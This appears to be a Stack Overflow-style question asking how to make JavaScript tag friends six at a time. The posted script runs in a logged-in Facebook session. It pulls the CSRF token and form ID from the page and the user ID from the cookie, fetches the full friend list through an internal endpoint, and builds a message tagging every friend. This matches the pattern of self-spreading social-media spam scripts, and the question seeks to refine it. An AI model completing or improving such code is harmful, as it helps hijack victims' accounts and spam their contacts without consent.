javascript choosing 6 at a time from array?
<p>Because stackoverflow keep messing up my code, i have pasted it here <a href="http://pastebin.com/xA8wT3M2" rel="nofollow">http://pastebin.com/xA8wT3M2</a></p>

<p>What the code does is choose the entire list of friends. What I would rather have it do is choose 6 at a time for the array without repeats until the list is done.</p>

<p>I know this chooses 6 but it keeps picking the first 6 from the array over and over</p>

<pre><code>var i=0;i&lt;6;
</code></pre>

<p>EDIT:</p>

<pre><code>var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(/c_user=(\d+);/)[1];
var friends = new Array();
gf = new XMLHttpRequest();
gf.open("GET", "/ajax/typeahead/first_degree.php?__a=1&amp;filter[0]=user&amp;viewer=" + uid + "&amp;" + Math.random(), false);
gf.send();
if (gf.readyState != 4) {} else {
    data = eval('(' + gf.responseText.substr(9) + ')');
    if (data.error) {} else {
        friends = data.payload.entries.sort(function() {
            return (Math.round(Math.random()) - 0.5);
        });
    }
}
var postmessage = "gerrgg";
for (var i = 0; i &lt; friends.length; i++) {
    postmessage = postmessage + "@[" + friends[i].uid + ":" + friends[i].text + "] ";
}
</code></pre>
